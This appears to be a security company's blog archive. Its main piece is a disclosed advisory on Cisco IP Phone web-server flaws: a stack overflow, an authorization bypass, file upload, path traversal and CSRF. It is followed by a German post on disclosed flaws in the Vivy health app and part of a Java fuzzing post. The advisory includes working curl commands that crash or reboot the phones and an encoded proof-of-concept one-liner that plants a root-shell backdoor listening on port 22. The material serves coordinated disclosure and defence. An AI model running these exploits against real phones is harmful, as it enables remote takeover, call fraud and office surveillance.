2019-03-22

Multiple vulnerabilities in Cisco IP Phone 7800 and 8800 series [MZ-19-01]

Link to modzero's security advisory MZ-19-01: https://www.modzero.ch/advisories/MZ-19-01-Cisco-Phones.txt
-----------------------------------------------------------------v1--

modzero Security Advisory:
Multiple vulnerabilities in the web interface of the Cisco IP Phone
7800 and 8800 series [MZ-19-01]

---------------------------------------------------------------------

---------------------------------------------------------------------

1. Timeline

---------------------------------------------------------------------

* 2018-06-28: Report with findings delivered to a customer and
  findings have been reported by our customer to Cisco.
* 2018-11-21: This advisory has been sent to the Cisco security team
  (psirt@cisco.com) to get a status regarding security patches.
* 2018-11-21: Initial response from PSIRT to us.
* 2018-12-17: Received Cisco bug IDs: CSCvn56168, CSCvn56175,
  CSCvn56194, CSCvn56213, CSCvn56221
* 2019-01-23: Information from Cisco that other phones are affected
  as well and they still work on a fix.
* 2019-02-19: 90 days period for keeping detailed information back is
  over.
* 2019-02-19: Cisco asks to extend period to 2019-03-20. Extension
  agreed by modzero.
* 2019-03-06: Received CVE-IDs from Cisco
* 2019-03-20: Cisco releases advisory and fixes
* 2019-03-20: Advisory published

---------------------------------------------------------------------

2. Summary

---------------------------------------------------------------------

Vendor: Cisco

* 3.1 Buffer overflow in the phone's webserver
  CVE-2019-1716
  modzero: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H -> 8.1
  URL:
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190320-ip-phone-rce
  CVSS Base Score according to Cisco: 7.5

  Affected products according to Cisco:
    * 10.3(1)SR5 for Unified IP Conference Phone 8831
    * 11.0(4)SR3 for Wireless IP Phone 8821 and 8821-EX
    * 12.5(1)SR1 for the rest of the IP Phone 7800 and 8800 Series

  Not affected according to Cisco:
    * IP phones running Multiplatform Firmware

* 3.2 Phone's web interface fails to restrict access to functions 
  CVE-2019-1763
  modzero: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H -> 8.2
  URL:
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190320-ipab
  CVSS Base Score according to Cisco: 7.5

  Affected products according to Cisco:
    * 11.0(5) for Wireless IP Phone 8821 and 8821-EX
    * 12.5(1)SR1 for the IP Conference Phone 8832 and the rest of the
      IP Phone 8800 Series

  Not affected according to Cisco:
    * IP Conference Phone 8831
    * IP phones running Multiplatform Firmware

* 3.3 File upload vulnerability in the phone's web interface
  CVE-2019-1766
  modzero: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H -> 9.1
  URL:
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190320-ipfudos
  CVSS Base Score according to Cisco: 7.5

  Affected products according to Cisco:
    * IP Phone 8800 Series products running a SIP Software release
      prior to 12.5(1)SR1

  Not affected according to Cisco:
    * Cisco IP Phone 7800 Series
    * Cisco IP Conference Phone 7832
    * Cisco Wireless IP Phone 8821(-EX)
    * Cisco IP Conference Phone 8831
    * Cisco IP Conference Phone 8832
    * IP phones running Multiplatform Firmware

* 3.4 Phone's file upload affected by path traversal and null
      injection
  CVE-2019-1765
  modzero: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H -> 9.1
  URL:
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190320-ipptv
  CVSS Base Score according to Cisco: 8.1

  Affected products according to Cisco:
    * 11.0(5) for Wireless IP Phone 8821-EX
    * 12.5(1)SR1 for the IP Conference Phone 8832 and the rest of the
      IP Phone 8800 Series

  Not affected according to Cisco:
    * Cisco IP Phone 7800 Series
    * Cisco IP Conference Phone 8831
    * Cisco IP Conference Phone 7832
    * IP phones running Multiplatform Firmware 

* 3.5 Anti-Cross-Site Request Forgery Token ineffective in Phone's
      upload function
  CVE-2019-1764
  modzero: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H -> 7.3
  URL:
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190320-ip-phone-csrf
  CVSS Base Score according to Cisco:  8.1
  
  Affected products according to Cisco:
    * 11.0(5) for Wireless IP Phone 8821-EX
    * 12.5(1)SR1 for the IP Conference Phone 8832 and the rest of the
      IP Phone 8800 Series

  Not affected according to Cisco:
    * Cisco IP Phone 7800 Series
    * Cisco IP Conference Phone 8831
    * Cisco IP Conference Phone 7832
    * IP phones running Multiplatform Firmware

---------------------------------------------------------------------

3. Details

---------------------------------------------------------------------


3.1 Buffer overflow in the phone's webserver

The embedded web-server running on the Cisco IP phones suffers from  a
buffer-overflow vulnerability. During testing, it was confirmed that a
maliciously crafted,  unauthenticated request  is able  to trigger the
vulnerability and results in re-booting of the phone. Further analysis
of the phone firmware showed that the vulnerability may result in
remote code execution in the context of the web server process.

The  vulnerable  function  is  extractUsernameAndPassword()  for   the
analyzed CP-8832 and CP-8845/65 phone firmware versions. The  function
is called whenever a HTTP request needs to be authenticated  according
to  the  HTTP  "Basic"  authentication  schema.  First,  the  function
allocates  a 257  byte-sized temporary  buffer tmp_buf  on the  stack.
Then,  the  HTTP authorization  header  is acquired  through  the HTTP
connection  object  conn.  The authorization  header  is  decoded from
base64 representation by the function decodeUserPassword() and  stored
into tmp_buf. Before  calling decodeUserPassword(), the  authorization
header string length is not processed safely. The pseudo-code below
highlights the problematic computation step:
    
  char tmp_buf[257];
  memset(tmp_buf, 0, sizeof(tmp_buf));
  [...]
  unsigned len = strlen(authorization_header);
  len = len & 0xffff;
  decodeUserPassword(authorization_header, len, tmp_buf);

Instead, the following code should have been employed to correctly
limit the input to the decodeUserPassword() function as follows:
 
  char tmp_buf[257];
  memset(tmp_buf, 0, sizeof(tmp_buf));
  [...]
  unsigned len = strlen(authorization_header);
  if (len > 340) len = 340; // b64-dec is 8 to 6 bit transform
  decodeUserPassword(authorization_header, len, tmp_buf);

Because of this programming error, an input of up to 65535  characters
can  be  passed  to decodeUserPassword(),  which  will  in consequence
decode and  write up  to 49152  bytes into  tmp_buf and the subsequent
memory area on the stack. The saved stack pointer and program  counter
are located right behind tmp_buf and therefore can be overwritten with
arbitrary  values.  When  the  function   extractUsernameAndPassword()
returns, the  modified stack  pointer and  program counter  are loaded
from memory. When arbitrary  garbage values are supplied,  the program
will typically crash and the phone will reboot. It is likely that with
sufficient  knowledge  of  the memory  layout  and  program state,  an
attacker may inject carefully prepared data and execute arbitrary
code.

The following HTTP request was shown to trigger the vulnerability
(HTTP authorization header truncated for readability):
 
GET /CGI/Java/x HTTP/1.1
Host: localhost
User-Agent: curl/7.58.0
Accept: */*
Authorization: Basic iiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiii...
Connection: close
 
 
Such a request can be generated with the command below and sent to the
HTTP or HTTPS port of the phone's web server:
 
curl -k -u `seq -s: 999` -d 1 https:///CGI/Java/CallInfo
 
In     a      disassembly     of      the     vulnerable      function
extractUsernameAndPassword() it  can be  observed that  the code lacks
set-up and  validation of  stack canaries  in the  function prolog and
epilog.  Therefore, an  attacker is  able to  trivially overwrite  the
saved  program  counter located  on  the stack.  The  underlying Linux
kernel   has   Address-Space  Layout   Randomization   (ASLR)  enabled
(/proc/sys/kernel/randomize_va_space  was observed  to be  set to  the
value 2), but the verbose  externally exposed message log via  the web
server contains  memory addresses  from the  HTTP server  processes as
shown below. Therefore, an attacker is likely to correctly guess
memory addresses and becomes able to defeat the ASLR countermeasure.
 
7923 DEB Jun 11 10:12:03.235178 (709:818) JAVA-Sec SSL Connection  -
Added SSL connection handle 0x40f82660, connDesc 90 to table.
 

3.2 Phone's web interface fails to restrict access to functions

The IP phone's web  server implements authorization checks  to control
access to functions. A programming error allows to bypass these checks
and access internal functions without authentication. For example, the
phone can  be rebooted.  This issue  facilitated the  proof-of-concept
exploit to gain remote root access to IP phones described in the 
chapter 5.

Internally, web pages that  allow interaction with internal  functions
(in contrast to  web pages that  only display information)  are called
"editable pages". If  an incoming request  is recognized to  access an
editable page, further checks for authentication and authorization are
performed.
 
The disassembly of the vulnerable function isEditablePage() in the two
firmware  versions   is  rewritten   as  the   pseudo-code  below  and
illustrates how the function employs strcmp() to analyze incoming HTTP
requests. It fails to produce  the correct result when the  input does
not exactly match the test strings. This is possible for example, when
the parameter string contains additional but insignificant characters
like an ampersand ('&').
 
int isEditablePage(
    char *uri,    // query path
    char *params, // query parameters
) {
    return (
        strcmp(uri, "/CGI/Java/Serviceability") == 0 && (
            strcmp(params, "adapter=datetime") == 0 ||
            strcmp(params, "adapter=datetimelocal") == 0 ||
            strcmp(params, "adapter=datetimespec") == 0 ||
...
        )
    ) || ... ;
}
 
The following command  exploits the described  behavior to reboot  the
phone. 
 
curl -k -d 1
"https:///CGI/Java/Serviceability?adapter=do_restart&"

Another exploit of the described issue is shown in chapter 5.

3.3 File upload vulnerability in the phone's web interface

The IP phone contains a function that allows uploading of files to the
phone's  file  system.  It  is  usually  employed  to  upload   custom
certificates and constructed  in a non-standard  way, i.e. it  already
writes data to a local file during an initial parameter parsing  step.
As a  consequence, it  is possible  to write  arbitrary file contents,
even  when  later processing  steps  fail or  no  further actions  are
performed on the data. This may lead to denial-of-service  conditions,
for example  storage media  failure or  storage space  exhaustion. The
ability to persist arbitrary  data on the device  facilitated creation
of the exploit described in the chapter 5.
 
The problematic file upload function is implemented in Java.  Incoming
HTTP  POST  requests  are  handled  by  the  doPost  method.  When the
parameter  adapter  is  equal  to  "loginPost",  "upload_usercert"  or
"upload_rootca", the  method parseFormResults()  is called  to process
the request body. parseFormResults() iterates over all body parts  and
in turn calls parseHeader() for  each. Instead of postponing any  data
processing steps until all input has fully been validated, the  method
parseFormResults() has the side-effect of writing the parts named
"rootca" and "usercert" to the file system.


3.4 Phone's file upload affected by path traversal and null injection

The IP phones  contain a file  upload function which  is vulnerable to
path traversal and null byte  injection. An attacker is able  to write
to arbitrary  files in  the file  system, with  permissions of the web
server process. The  proof of concept  exploit in the  chapter 5 shows
how  this issue  enabled writing  to configuration  file locations  to
place a persistent back-door on the phone.
 
The  problematic  file upload  function  is implemented  in  Java. The
parseHeader() method constructs target file paths with the two
following statements:
 
this.usercertFileName = "/usr/local/wifi/rootca/" + this.rootca +
".up";
 
this.usercertFileName = "/usr/local/wifi/usercert/" + this.usercert +
".up";
 
An  attacker  directly  controls  the  member  variables  rootca   and
usercert. By  prefixing a  desired path  with a  sequence of  dots and
slashes and terminating the string with a null character, an arbitrary
file path can be written to.


3.5 Anti-Cross-Site Request Forgery Token ineffective in Phone's
upload function

The web interface available on the phones contains an upload  function
for user-provided certificates. To protect against Cross-Site  Request
Forgery (CSRF) attacks, an Anti-CSRF token is employed. But the  Anti-
CSRF token is  validated too late,  after input data  has already been
written  to  the  file  system.  Therefore,  the  Anti-CSRF  token  is
ineffective  and  does  not  protect  the  upload  function  from CSRF
attacks.  An  attacker may  abuse  this behavior  to  exploit security
vulnerabilities  in the  phone's web  server in  a CSRF-scenario:  For
example, by luring  an internet-connected victim  web browser onto  an
attacker-controlled page. If the (possibly authenticated) victim  also
has access to the phone's web server, the attacker-controlled page may
submit malicious requests to the phone.
 
The method  parseFormResults() in  the upload  implementation verifies
the CSRFToken parameter as  final step. This is  insufficient, because
actions  with  substantial side-effects  have  already been  performed
before the check raises an exception. The exception caused by  failure
of   the   CSRFToken   check   does   not   inhibit   exploitation  of
vulnerabilities, as demonstrated by the proof-of-concept in chapter 5.

---------------------------------------------------------------------

4. Impact

---------------------------------------------------------------------

modzero identified several critical vulnerabilities in Cisco phone web
interfaces which lead  to a full  compromise of the  phone without any
authentication.  An attacker  could exploit  these vulnerabilities  to
obtain sensitive call data, to perform call fraud, as well as an audio
and video surveillance of offices, and to use the phones as attack
platform for other infrastructure.

---------------------------------------------------------------------

5. Proof of concept exploit

---------------------------------------------------------------------

An IP phone (model CP-8865, firmware version cmterm-8845_65.12-0-1SR1-
1) was successfully compromised  via exploitation of a  combination of
vulnerabilities. The  command below  performs a  carefully constructed
HTTP request to the phone's web server to exploit the vulnerabilities 
documented in this advisory:
 
echo
"H4sIANX2IlsCA5WPwWoDMQxEexbsP5jcvS45JuRbimsricCxjCynLiX/Hu+ylFx6KOgwe
jAzjLW99wkCZ8WsNlItXE"\
"mJ88GcWW42evVHk/0NT8KsYTxnSriC3Ty732tVXOLgk+uUUaPrb7sJlpgJJqgodwpoOvy
Afhc0J9NyoqoYoQgrB06DaSjw5"\
"UmHzAxtuIZ6h4twK6taclboPim7et3Ah5dLHdQSFJbFvt/DY/Taf+xb6gKK/rXw7sVJy9
u+uVB8Xbh1WQtPExeckFQBAAA="|
base64 -d|gunzip|curl -k --data-binary @- -H "Content-Type:
multipart/form-data; boundary=xxx" \
"https:///CGI/Java/Serviceability?adapter=loginPost&"
 
The first exploited  vulnerability is the  issue described in  section
3.1:  The  authorization check  to  access the  loginPost  function is
bypassed by appending an ampersand (`&') symbol to the URL. The  input
payload data  is written  to the  file system  due to  the file upload
vulnerability  described  in  section  3.3.  By  exploiting  the  path
traversal and null injection vulnerability documented in section  3.4,
an internal path can be  specified to write into configuration  files.
The attacker does  not provide a  valid anti-CSRF token,  which causes
the server to respond with HTTP  error 400 Bad Request. But this  does
not stop the attack, because of the vulnerable anti-CSRF token
validation mechanism described in section 3.5.
 
The malicious request writes two  files. First, a configuration for  a
backdoor    xinetd    service    is    written    to    the   location
/usr/local/xinetd/x. The  service consists  of a  root (user  0) shell
listening on  tcp port  22. (Port  22 was  selected, because  observed
firewall  configuration  suggested  that  traffic  to  this  port   is
typically allowed and expected.  If another service is  already active
on port 22, this may need to be adjusted.) The xinetd configuration is
reproduced below:
 
service x
{
type = unlisted
protocol = tcp
wait = no
user = 0
group = 0
server = /bin/sh
server_args = -i
port = 22
}
 
The  second  part  of  the   requests  writes  the  empty  string   to
/var/run/xinetd.pid,  effectively truncating  the file.  This file  is
periodically    inspected   by    the   cron    script   located    in
/etc/cron.5mins/02xinetdmon,  which is  shown below.  The cron  script
executes  every fifth  minute in  the hour  and after  xinetd.pid was
tampered with, will ensure that xinetd starts with the backdoor
configuration.
 
#!/bin/sh
 
xinetd_pid=$( cat /var/run/xinetd.pid )
if [ -z "$xinetd_pid" -o ! -d /proc/"$xinetd_pid" ]; then
   # In dd/mm/yy/hour/min/sec format
   currtime=$(date +"%d%m%y%H%M%S")
   echo "$currtime: cannot find xinetd" >>
/usr/local/backtraces/xinetd.crash
   echo "$currtime: starting xinetd" >>
/usr/local/backtraces/xinetd.crash
   /etc/init.d/xinetd.sh start
fi
 
After waiting  until the  next fifth  minute has  passed, the backdoor
service is started and can be accessed via connecting to port 22 of
the phone.

---------------------------------------------------------------------

6. Workaround

---------------------------------------------------------------------

Disabling the web interface on the phone eliminates the risk.

---------------------------------------------------------------------

7. Fix

---------------------------------------------------------------------

According to the Cisco advisories, fixes are available.

---------------------------------------------------------------------

8. Credits

---------------------------------------------------------------------

 * David Gullasch

---------------------------------------------------------------------

9. About modzero

---------------------------------------------------------------------

The independent Swiss company modzero AG assists clients with security
analysis in the complex areas  of computer technology. The focus  lies
on  highly  detailed  technical  analysis  of  concepts,  software and
hardware  components  as  well   as  the  development  of   individual
solutions. Colleagues  at modzero  AG work  exclusively in  practical,
highly technical computer-security areas and can draw on decades of
experience in various platforms, system concepts, and designs.

https://www.modzero.ch

contact@modzero.ch

---------------------------------------------------------------------

10. Disclaimer

---------------------------------------------------------------------

The information in the advisory is believed to be accurate at the time
of publishing  based on  currently available  information. Use  of the
information  constitutes acceptance  for use  in an  AS IS  condition.
There are no warranties with  regard to this information. Neither  the
author  nor  the  publisher  accepts  any  liability  for  any direct,
indirect, or consequential loss or damage arising from use of, or
reliance on, this information.

Posted by modzero | Permanent link | File under: security, cisco, advisory

2018-10-30

Sicherheitsmängel in e-Health Anwendungen

Schwerwiegende Sicherheitsmängel in Elektronischer Gesundheitsakte "Vivy"

Am 21. September entdeckte unser Kollege Martin Tschirsich kurz nach der Veröffentlichung der Vivy Plattform zahlreiche sicherheitskritische Fehler in der Anwendung.

Daraufhin versuchten wir sofort einen Kontakt zu Sicherheitsverantwortlichen bei Vivy herzustellen. Dieser Kontakt kam auch sehr bald zustande, und es folgten zahlreiche Telefonate und ein Meeting in den Geschäftsräumen von Vivy in Berlin-Mitte.

Am 4. Oktober um 18 Uhr erreichte uns eine PGP-signierte Email von einem der Vivy-Geschäftsführer, in der Vivy um eine Verlängerung von zwei Wochen bat, da einige Sicherheitsprobleme der Crypto-Implementierung noch nicht behoben werden konnten. Diese zwei Wochen haben wir selbstverständlich eingeräumt, da wir keine Berichte über ungepatchte Schwachstellen veröffentlichen wollten.

Heute veröffentlichen wir in Koordination mit Vivy unseren Bericht über die auf dieser e-Health Plattform gefundenen Probleme. Dies tun wir, weil uns die Sensibilisierung von Patienten und Anwendern ein Kernanliegen darstellt. Zudem wollen wir mit der kritischen Betrachtung einer solchen Plattform allen Firmen im e-Health Sektor deutlich machen, dass ihnen eine unglaublich große Verantwortung obliegt. Es muss von jeder Seite um jeden Preis sichergestellt werden, dass Dokumente wie Gesundheitsdaten einen besonderen Schutz genießen müssen.

Sämtliche Befunde ließen sich praktisch verifizieren und sind keineswegs theoretischer Natur. Zudem mussten auch kaum komplexe Voraussetzungen wie beispielsweise ein kompromittierter Rechner oder Server erfüllt sein. Zur Untermauerung unserer Aussagen, veröffentlichen wir den technischen Bericht [1] und die folgende, kurze Meldung:

Seit wenigen Wochen können rund 13,5 Millionen Krankenversicherte ihre Gesundheitsdaten mit "Vivy" selbst verwalten. Doch das schweizer-deutsche IT-Sicherheits-Unternehmen modzero hat herausgefunden: Nicht nur Patienten und Ärzte, auch Unbefugte konnten die Gesundheitsdaten lesen - und zum Teil auch manipulieren. modzero veröffentlicht hierzu nun einen Sicherheitsbericht. Zuvor wurde Vivy über die Sicherheitslücken informiert und es wurde ausreichend Gelegenheit zu deren Beseitigung gegeben. Der Zeitpunkt dieser Veröffentlichung wurde mit den Verantwortlichen koordiniert.

Was ist "Vivy"?

Die Gesundheits-App Vivy ist angetreten, um Versicherten von 14 gesetzlichen und zwei privaten Krankenkassen als Assisstentin in Sachen Gesundheit zu dienen. Neben der Pflege von Medikamentenplänen und Impfterminen soll die App den Austausch von Gesundheitsakten wie Rezepten, Befunden und Laborwerten zwischen Ärzten und Patienten ermöglichen. Vivy wirbt dabei mit "Sicherheit auf höchstem Niveau": "Es gibt kaum sensiblere Daten als die zur eigenen Gesundheit. Daher ist es für Vivy von höchster Priorität, medizinischen Daten vor jeglichem Zugriff unberechtigter Dritter zu schützen." [0]

Was ist passiert?

Mit großen Sicherheitsversprechen betrat der Anbieter Vivy im September 2018 den Markt der Gesundheits-Apps. Der Hersteller gibt an, Patientendaten durch sichere Authentifizierungs-Methoden und moderne Verschlüsselung vor unberechtigtem Zugriff zu schützen.

Die beworbenen Schutzmaßnahmen entsprechen grundsätzlich gängiger Praxis zum Schutz sensibler Daten, aber die Betonung der Sicherheitsmerkmale liest sich für IT-Sicherheitsforscher wie eine Einladung, dies einmal genauer zu prüfen. Unser Kollege Martin Tschirsich ist dieser Einladung gefolgt und fand innerhalb kürzester Zeit gravierende Sicherheitslücken in der Vivy-App und den dazugehörigen Servern.

Daraufhin meldete modzero die Sicherheitslücken unverzüglich bei Vivy, um einen sogenannten "Coordinated Disclosure"-Prozess einzuleiten. In Abstimmung mit Vivy wurde nach initialem Kontakt am 21. September 2018 bis zum 30. Oktober 2018 Zeit eingeräumt, um die Sicherheitslücken zu beheben, bevor modzero einen Sicherheitsbericht veröffentlicht.

Die Veröffentlichung dieses Sicherheitsberichts soll die Öffentlichkeit dafür sensibilisieren, wie wichtig ein transparenter Entwicklungs- und Feedback-Prozess insbesondere im E-Health-Bereich ist.

Wie schwerwiegend sind die Probleme?

modzero stellte mehrere Sicherheitslücken verschiedener Kritikalität fest. Für eine ausführliche Beschreibung aller gefundenen Sicherheitsprobleme sei auf den Report [1] verwiesen.

Die kritischsten Punkte waren: Informationen darüber, wer wann mit welchem Arzt Gesundheitsdaten geteilt hatte, lagen ungeschützt für jeden lesbar im Netz. Versicherte konnten durch die Informations-Lecks anhand von Name, Foto, E-Mailadresse, Geburtsdatum und Versichertennummer identifiziert werden. Auch Name, Adresse und Fachrichtung des kontaktierten Arztes konnten ausgelesen werden. Unbefugte konnten über das Internet alle Dokumente, die an einen Arzt gesendet werden sollten, abfangen und entschlüsseln. Darüber hinaus fand modzero zahlreiche konzeptionelle Schwächen im Rahmen der Nutzung der RSA-Verschlüsselung und des Schlüssel-Managements. So konnten beispielsweise über trivial ausnutzbare Fehler in der Server-Anwendung die geheimen Schlüssel der Ärzte ausgelesen werden.

Wie geht es jetzt weiter?

Die Zusammenarbeit im Rahmen dieses Veröffentlichungs-Prozesses mit Vivy verlief positiv. modzero wurde zugesichert, geeignete Lösungen und Gegenmaßnahmen für die gefundenen Sicherheitsprobleme zu entwickeln. Ob diese tatsächlich vollumfänglich und auch wirksam umgesetzt wurden, hat modzero nicht geprüft und plant dies auch nicht. Den Anwendern wird empfohlen, Updates der Vivy-App zeitnah einzuspielen.

modzero steht derzeit in Kontakt mit einem weiteren Anbieter einer Gesundheits-App, da auch die Konkurrenz mit durchaus schwerwiegenden Sicherheitsproblemen zu kämpfen hat. Auch hier legt modzero zum Schutz der Daten betroffener Patienten Wert auf einen angemessenen Zeitraum zum Beheben der Probleme.

Weiterführende Informationen

modzero ist ein 2011 in Zürich gegründetes schweizer-deutsches IT-Sicherheits-Unternehmen. modzero berät Kunden vor und während der Entwicklung von sicherheitskritischen Anwendungen und bietet tiefgehende technische Analysen, insbesondere im Bereich kryptografischer Anwendungen.

Die Schwachstellen wurden von Martin Tschirsich gefunden und gemeinsam mit Thorsten Schröder im Bericht dokumentiert.

Detaillierte technische Informationen finden sich auf dem modzero-Blog [2] und im ausführlichen Bericht [1].

[0] https://www.vivy.com/sicherheit/
[1] Vivy Sicherheits-Bericht: https://www.modzero.ch/static/vivy-app-security-final.pdf
[2] Blog-Post zur Veröffentlichung auf dem Webserver von modzero: https://www.modzero.ch/modlog/archives/2018/10/30/sicherheitsm_aumlngel_in_e-health_anwendungen/index.html
[3] https://www.vivy.com/fileadmin/user_upload/007_presse/180918_Vivy_-_PM_September_final.pdf


Posted by Thorsten Schroeder | Permanent link | File under: mobile, security, software, hacking, modzero, crypto, advisory

2018-09-20

Java Bugs with and without Fuzzing

AFL-based Java fuzzers and the Java Security Manager

In the last half a year I have been doing some fuzzing with AFL-based Java fuzzers, namely Kelinci and JQF. I didn't really work with java-afl. The contents of this post are: This blog post will mention several files, they are included on https://github.com/modzero/mod0javaFuzzingResults. Additionally, the zip file includes several other files that reproduce the same bugs.

AFL-based Java fuzzing tools

The AFL fuzzer is really popular nowadays as it performs instrumented fuzzing. If you are not familiar with AFL, it's probably better if you at least quickly look at AFL before you read this post. It is especially important to understand how AFL handles hangs (test cases that take too much time to process) and crashes (e.g. target program segfault).

Kelinci is one of the first AFL for Java implementations and is very promising, although the approach with having two processes per fuzzing instance is a little clumsy and can get confusing. One process is the native C side, which takes mutated inputs produced by AFL and sends them to the second process via TCP socket. The second process is the Java process that feeds the input to the target program and sends back the code paths taken with this input. There are certain error messages in the Java part of this fuzzer that are not always exactly clear (at least to me), but they seem to indicate that the fuzzer is not running in a healthy state anymore. However, so far Kelinci worked very well for me and came up with a lot of results. There has not been any development for 7 months, so I hope the author will pick it up again.

JQF is actively maintained and the last changes were commited a couple of days ago. It does not take the classic fuzzer approach that most fuzzers for security researchers take, but instead is based on Java Unit Tests and focuses more on developers. It currently has only limited support of AFL's -t switch for the timeout settings and there is also only rudimentary afl-cmin support. While this is perfect for developers using Unit Tests, it is not the most flexible fuzzer for security researchers fuzzing Java code.

java-afl has not been updated in four months. This is actually the fuzzer I didn't successfully use at all. I tried to ask the developer about how to run it properly, but didn't get an answer that would help me run it on the test case I had in mind. If you have better luck with java-afl, please let me know, it would be interesting to hear how this fuzzer performs.

First steps with Apache Commons

I started with the Apache Common's Imaging JPEG parser as a target. The choice was simple because it was one of the examples explained for the Kelinci fuzzer. Apache Commons is a very popular library for all kind of things that are missing or incomplete in the Java standard library. When going through the author's example, I realized that he gave the fuzzer only one input file containing the text "hello", which is not a JPEG file and not a very good starting corpus. While it's probably lcamtuf's very interesting experiment that makes people believe using such corpus data is a valid choice, it is not a valid choice for proper fuzzing runs. lcamtuf's experiment was good to proof the point that the fuzzer is smart, but for productive fuzzing proper input files have to be used to achieve good results. Fuzzing is all about corpus data in the end. So I took the JPEG files in lcamtuf's corpus on the AFL website and some files from my private collection. The fuzzer quickly turned up with an additional ArrayIndexOutOfBoundsException which I reported to Apache (file ArrayIndexOutOfBoundsException_DhtSegment_79.jpeg). That was quiet an easy start into Java fuzzing. If you would do the same for other parsers of Apache Commons (for example PNG parser), you would most probably find some more unchecked exceptions.

Goals: Taking a step back

After this quick experiment I gave the idea of fuzzing Java some more thoughts. Fuzzings is originally applied to programs that are not memory safe, hoping that we are able to find memory corruption issues. Out of bound read or writes in Java code simply do not result in memory corruption but in more or less harmless Exceptions such as IndexOutOfBoundsException. While it might be desirable to find (code robustness) issues and might result in Denial of Service issues, the severity of these issues is usually low. The question is what kind of behavior and fuzzing results are we looking for? There are different scenarios that might be of interest, but the attack vector (how does the attacker exploit the issue in the real world?) matters a lot when looking at them. Here is my rough (over)view on Java fuzzing:

  • Finding bugs in the JVM.
    • Arbitrary Java code as input. This could be helpful in more exotic scenarios, for example when you need to escape from a sandboxed JVM. In most other scenarios this attack vector is probably just unrealistic, as an attacker would be executing Java code already.
    • Feeding data into built-in classes/functions (fuzzing the standard library), such as strings. This is not very likely to come up with results, but you never know, maybe there are Java deserialization vulnerabilities lurking deep in the JVM code?
    • Finding low-severity or non-security issues such as code that throws an Exception it didn't declare to throw (RuntimeExceptions).
  • Finding memory corruption bugs in Java code that uses native code (for example JNI or CNI). This is probably a very good place to use Java fuzzing, but I don't encounter this situation very much except in Android apps. And fuzzing Android apps is an entirely different beast that is not covered here.
  • Fuzzing pure Java code.
    • We could go for custom goals. This might depend on your business logic. For example, if the code heavily uses file read/writes maybe there is some kind of race condition? Also the idea of differential fuzzing for crypto libraries makes a lot of sense.
    • Finding "ressource management" issues, such as Denial of Service (DoS) issues, OutOfMemoryExceptions, high CPU load, high disk space usage, or functions that never return.
    • Finding low-severity or non-security issues such as RuntimeExceptions.
    • Finding well-known security issues for Java code, such as Java deserialization vulnerabilities, Server Side Request Forgery (SSRF), and External Entity Injection (XXE).
I was especially interested in the last three points in this list: Finding ressource issues, RuntimeExceptions and well-known Java security issues. While I already found a RuntimeException in my little experiment described above, I was pretty sure that I would be able to detect certain ressource management issues by checking the "hangs" directory of AFL. However, the last point of finding well-known security issues such as SSRF seems tricky. The fuzzer would need additional instrumentation or sanitizers to detect such insecure behavior. Just as Address Sanitizer (ASAN) aborts on invalid memory access for native code (which then leads to a crash inside AFL), it would be nice to have sanitizers that take care about such areas in the Java world. A file sanitizer for example might take a whitelist of files that are allowed to be accessed by the process, but abort if any other file is accessed. This could be used to detect XXE and SSRF scenarios. A network sanitizer might do the same if sockets are used. Imagine a Java image file parsing library as a target. From a security perspective such a library should never open network sockets, as this would indicate Server Side Request forgery. This is a very realistic scenario, and I did find XXE issues in PNG XMP metadata parsing libraries before.

Java Security Manager

After doing some research it turned out that there is nothing like a file whitelist sanitizer for native code where AFL is usually used. So if we would fuzz any C/C++ code we would have to write our own parser and as stated by Jakub Wilk it might be tricky to implement due to async-signal-safe filesystem functions. So if you feel like writing one, please go ahead.

Back to Java I found out that there is already such a sanitizer. The best part is that it's a built-in feature of the JVM and it's called Java Security Manager. Look at this simple Java Security Manager policy file I created for running the Kelinci fuzzer with our simple Apache Commons JPEG parsing code:

grant {
    permission java.io.FilePermission "/tmp/*", "read,write,delete";
    permission java.io.FilePermission "in_dir/*", "read";
    permission java.io.FilePermission "/opt/kelinci/kelinci/examples/commons-imaging/out_dir/*", "read, write, delete";
    permission java.io.FilePermission "/opt/kelinci/kelinci/examples/commons-imaging/out_dir/master/*", "read, write, delete";
    permission java.io.FilePermission "/opt/kelinci/kelinci/examples/commons-imaging/out_dir/master0/*", "read, write, delete";
    permission java.io.FilePermission "/opt/kelinci/kelinci/examples/commons-imaging/out_dir/master1/*", "read, write, delete";
    permission java.io.FilePermission "/opt/kelinci/kelinci/examples/commons-imaging/out_dir/slave/*", "read, write, delete";
    permission java.io.FilePermission "/opt/kelinci/kelinci/examples/commons-imaging/out_dir/slave0/*", "read, write, delete";
    permission java.io.FilePermission "/opt/kelinci/kelinci/examples/commons-imaging/out_dir/slave1/*", "read, write, delete";
    permission java.net.SocketPermission "localhost:7007-", "accept, listen, resolve";
    permission java.lang.RuntimePermission "modifyThread";
};

All it does is allowing file access to the temporary directory, reading from the input directory (in_dir) and writing to the output directory (out_dir) of AFL. Moreover, it allows the Kelinci Java process to listen on TCP port 7007 as well as to modify other threads. As the Security Manager is built into every Java JVM, you can simply start it with your usual command line with two more arguments:

java -Djava.security.manager -Djava.security.policy=java-security-policy.txt

So in our case we can run the Kelinci fuzzer server process with:

java -Djava.security.manager -Djava.security.policy=java-security-policy.txt -Djava.io.tmpdir=/tmp/ -cp bin-instrumented:commons-imaging-1.0-instrumented.jar edu.cmu.sv.kelinci.Kelinci driver.Driver @@

I went back and ran the Kelinci fuzzer some more hours on the Apache Commons JPEG parser without getting any new results with the Java Security Manager. However, at this point I was convinced that the Java Security Manager would take Java fuzzing to the next level. I just needed a different target first.

Targeting Apache Tika

